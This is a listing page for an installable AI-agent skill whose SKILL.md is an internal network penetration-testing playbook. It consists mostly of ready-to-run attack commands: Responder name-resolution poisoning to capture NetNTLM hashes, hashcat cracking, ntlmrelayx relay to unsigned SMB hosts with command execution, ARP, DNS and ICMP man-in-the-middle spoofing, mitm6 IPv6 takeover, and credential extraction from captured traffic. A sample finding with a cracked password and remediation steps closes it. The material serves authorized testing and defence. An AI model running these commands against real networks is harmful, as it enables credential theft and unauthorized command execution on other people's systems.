菜单
Methodology for internal network penetration testing from a foothold on the LAN, covering host discovery, port scanning, passive/active sniffing, MitM (ARP/DNS/ICMP/DHCPv6), and LLMNR/NBT-NS/mDNS poisoning with Responder plus relay attacks during authorized engagements.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/xalgord/xalgorix --skill performing-internal-network-pentesting命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.
Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.
Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests.
基于 SOC 职业分类
正在显示 SKILL.md
| name | performing-internal-network-pentesting |
| description | Methodology for internal network penetration testing from a foothold on the LAN, covering host discovery, port scanning, passive/active sniffing, MitM (ARP/DNS/ICMP/DHCPv6), and LLMNR/NBT-NS/mDNS poisoning with Responder plus relay attacks during authorized engagements. |
| domain | cybersecurity |
| subdomain | penetration-testing |
| tags | ["penetration-testing","network-pentesting","host-discovery","llmnr-poisoning","mitm","ntlm-relay"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
The highest-value internal technique is poisoning LLMNR/NBT-NS/mDNS — Windows hosts fall back to these unauthenticated broadcast protocols when DNS fails, leaking NetNTLM hashes. Many testers also forget to scan broadcast addresses and to disable SMB signing checks before relaying.
# 1. Poison LLMNR / NBT-NS / mDNS to capture NetNTLMv1/v2 hashes (#1 internal win)
responder -I eth0 -wv # analyze first; then drop -A to actively poison
# captured hashes land in /usr/share/responder/logs/ -> crack with hashcat -m 5600
# 2. Relay instead of crack: find hosts WITHOUT SMB signing, then relay auth to them
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt # signing:False hosts
# turn OFF Responder's SMB/HTTP servers (Responder.conf: SMB=Off, HTTP=Off) first
ntlmrelayx.py -tf targets.txt -smb2support -i # relay -> SOCKS / command exec
# 3. Discover hosts on the broadcast domain you'd otherwise miss
ping -b 10.10.5.255 # subnet broadcast reaches every local host
nmap -sn <network> # ARP sweep (same L2 = reliable host discovery)
nbtscan -r 192.168.0.1/24 # NetBIOS names
# 4. IPv6 is usually unmonitored — mitm6 + relay is devastating in AD
mitm6 -d domain.local # rogue DHCPv6/DNS; pair with ntlmrelayx -6
How to CONFIRM: Responder logs a hash only when a victim actually queries a name it can't resolve — trigger it (or wait) and check responder -I eth0 console plus logs/. For relay, a successful run prints [*] Authenticating against smb://<target> SUCCEED and (with -i) opens a SOCKS-able session. Validate captured NetNTLMv2 with hashcat -m 5600.
# Passive (quiet)
netdiscover -p
p0f -i eth0 -o /tmp/p0f.log
# Active
nmap -sn <network> # ARP requests on local subnet
netdiscover -r <network>
nbtscan -r 192.168.0.1/24
ping -b 10.10.5.255 # subnet broadcast
alive6 eth0 # IPv6 multicast ping
# Bettercap recon
# net.probe on ; net.show
masscan -p20,21-23,25,53,80,110,135,139,143,443,445,993,3306,3389,5900,8080 <network>/24
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP> # top 1000 TCP
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullscan <IP> # all TCP
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP> # top UDP
# Passive capture (rotate files; filter sensitive protocols)
sudo tcpdump -i eth0 -G 300 -w '/tmp/dump-%H%M%S.pcap' -W 50 'tcp and (port 80 or port 443)'
sudo tcpdump -i eth0 udp port 53 # see what hosts resolve
# Remote capture into local Wireshark
ssh user@<TARGET> tcpdump -i ens160 -U -s0 -w - 'port not 22' | sudo wireshark -k -i -
# Parse creds out of pcap or live
PCredz -f capture.pcap # or -i eth0
# ARP spoofing (forward first!)
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.2 192.168.1.1 & arpspoof -t 192.168.1.1 192.168.1.2 &
# Bettercap: arp.spoof on ; set arp.spoof.targets <IP> ; set arp.spoof.fullduplex true
# DNS spoofing
# bettercap: set dns.spoof.hosts ./dns.spoof.hosts ; dns.spoof on
# ICMP redirect
hping3 <VICTIM> -C 5 -K 1 -a <VICTIM_GW> --icmp-gw <ATTACKER> --icmp-ipdst <DST> --icmp-ipsrc <VICTIM>
# IPv6 (mitm6 / DHCPv6 + rogue DNS — high impact in AD)
mitm6 -d domain.local
# Capture mode (crack offline)
responder -I eth0 -wv
hashcat -m 5600 hashes.txt rockyou.txt # NetNTLMv2
# Relay mode (no cracking needed): disable Responder SMB/HTTP, target unsigned hosts
crackmapexec smb <network>/24 --gen-relay-list targets.txt
ntlmrelayx.py -tf targets.txt -smb2support -i # interactive SOCKS
ntlmrelayx.py -tf targets.txt -smb2support -c 'whoami' # command execution
# Combine with IPv6 for WPAD/DNS takeover:
mitm6 -d domain.local & ntlmrelayx.py -6 -wh attacker-wpad -tf targets.txt -smb2support
| Concept | Description |
|---|---|
| ARP discovery | On the same L2, ARP requests reliably enumerate live hosts where ICMP is filtered |
| LLMNR / NBT-NS / mDNS | Unauthenticated broadcast/multicast name resolution Windows/Apple/Linux fall back to; poisonable |
| NetNTLMv1/v2 | Challenge-response auth captured via poisoning; crack offline or relay (cannot pass-the-hash) |
| SMB signing | If a target does NOT enforce signing, captured auth can be relayed to it for code exec |
| Relay vs crack | Relaying forwards the live auth to another host; avoids needing the plaintext password |
| WPAD | Proxy auto-discovery; Responder serves a rogue wpad.dat to harvest browser/credential auth |
| mitm6 | Abuses default Windows IPv6 preference to become DHCPv6/DNS and drive relay/WPAD attacks |
| Tool | Purpose |
|---|---|
| nmap / masscan | Host discovery and TCP/UDP service scanning |
| netdiscover / nbtscan / arp-scan | L2 host and NetBIOS name discovery |
| Responder | Poison LLMNR/NBT-NS/mDNS, rogue WPAD/DNS/DHCP, capture NetNTLM |
| Impacket ntlmrelayx.py | Relay captured NTLM auth to SMB/LDAP/HTTP targets (SOCKS, exec) |
| CrackMapExec / NetExec | Build relay target lists, validate creds, sweep SMB |
| bettercap / arpspoof / ettercap | ARP/DNS/ICMP MitM and sniffing |
| mitm6 | IPv6 DHCPv6/DNS takeover to amplify relay attacks |
| tcpdump / Wireshark / PCredz | Capture and extract credentials from traffic |
A misconfigured workstation queries a mistyped share name. Responder answers, the host authenticates, and a NetNTLMv2 hash is captured and cracked offline to a domain user password.
SMB signing is not enforced on several servers. With Responder's SMB/HTTP off, ntlmrelayx relays poisoned authentication to a signing:False host, executing commands as the relayed account.
The network is dual-stack but IPv6 is unmanaged. mitm6 becomes the DHCPv6/DNS server, serves a rogue WPAD, and feeds authentications into ntlmrelayx against LDAP to add a machine or escalate.
On a flat switched segment, ARP spoofing places the tester between a client and an app server; PCredz extracts cleartext and NTLM credentials from the intercepted stream.
## Internal Network Pentest Finding
**Vulnerability**: LLMNR/NBT-NS poisoning + NTLM relay (no SMB signing)
**Severity**: High (CVSS 8.1)
**Location**: Internal VLAN 10.10.20.0/24
### Reproduction Steps
1. responder -I eth0 -wv -> captured NetNTLMv2 for CORP\jsmith
2. crackmapexec smb 10.10.20.0/24 --gen-relay-list targets.txt (signing disabled hosts)
3. Disable Responder SMB/HTTP; ntlmrelayx.py -tf targets.txt -smb2support -c 'whoami'
4. Relayed jsmith auth to 10.10.20.40 -> executed as CORP\jsmith (local admin)
### Captured / Reached
| Item | Detail |
|------|--------|
| NetNTLMv2 | CORP\jsmith (cracked: Summer2024!) |
| Relay target | 10.10.20.40 (SMB signing not required) |
| Access | Local admin command execution |
### Recommendation
1. Disable LLMNR (GPO) and NBT-NS; remove mDNS where unused
2. Enforce SMB signing (server and client) to block relay
3. Disable IPv6 if unused, or manage DHCPv6/RA to prevent mitm6
4. Enforce strong passwords/MFA; segment and monitor for ARP anomalies and rogue responders